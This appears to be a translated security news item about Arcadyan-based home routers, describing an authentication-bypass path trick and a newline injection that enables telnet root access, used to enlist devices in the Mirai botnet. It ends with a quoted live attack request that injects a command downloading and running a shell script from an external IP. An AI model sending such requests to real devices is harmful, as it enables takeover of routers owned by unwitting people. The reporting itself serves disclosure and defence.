A large-scale attack has been detected on home routers that use the http server implementation from Arcadyan. A combination of two vulnerabilities is utilized to gain control over the devices, allowing arbitrary code execution remotely with root privileges. This issue affects a significant range of ADSL routers from Arcadyan, ASUS, and Buffalo, as well as devices supplied under the brands Beeline (issue confirmed in Smart Box Flash), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone, and other telecom operators. It is noted that this problem has been present in Arcadyan firmware for over 10 years and has migrated into at least 20 device models from 17 different manufacturers.
The first vulnerability CVE-2021-20090 allows access to any web interface script without authentication. The essence of the vulnerability is that certain directories in the web interface, which serve images, CSS files, and JavaScript scripts, are accessible without authentication. The check for directories that are allowed access without authentication is performed based on the initial mask. The use of "..\/" in paths to navigate to the parent directory is blocked by the firmware, but the combination ".." is permitted. As a result, it is possible to open protected pages by sending requests such as "http:\/\/192.168.1.1\/images\/..index.htm".
The second vulnerability CVE-2021-20091 allows an authenticated user to make changes to the device's system settings by sending specially crafted parameters to the apply_abstract.cgi script, which does not check for the presence of a newline character in the parameters. For example, an attacker can specify the value "192.168.1.2ARC_SYS_TelnetdEnable=1" in the field for the IP address being checked during a ping operation, and the script, when creating the configuration file \/tmp\/etc\/config\/.glbcfg, will write the line "AARC_SYS_TelnetdEnable=1" into it, which activates server telnetd, providing unrestricted access to the command shell with root privileges. Similarly, by setting the AARC_SYS parameter, any code can be executed in the system. The first vulnerability allows the problematic script to be launched without authentication by referencing it as "\/images\/..apply_abstract.cgi".
To exploit vulnerabilities, an attacker must have the ability to send requests to the network port on which the web interface operates. Judging by the dynamics of the attack's spread, many operators leave access to their devices from the external network to facilitate issue diagnosis by support services. When access to the interface is restricted to the internal network only, an attack can be launched from the external network using the "DNS rebinding" technique. Vulnerabilities are already actively being used to connect routers to the Mirai botnet: POST /images/..apply_abstract.cgi HTTP/1.1 Connection: close User-Agent: Dark action=start_ping&submit_button=ping.html& action_params=blink_time5&ARC_ping_ipaddress=212.192.241.7 ARC_SYS_TelnetdEnable=1& ARC_SYS_=cd+/tmp; wget http://212.192.241.72/lolol.sh; curl -O http://212.192.241.72/lolol.sh; chmod 777 lolol.sh; sh lolol.sh&ARC_ping_status=0&TMP_Ping_Type=4
Source: opennet.ru
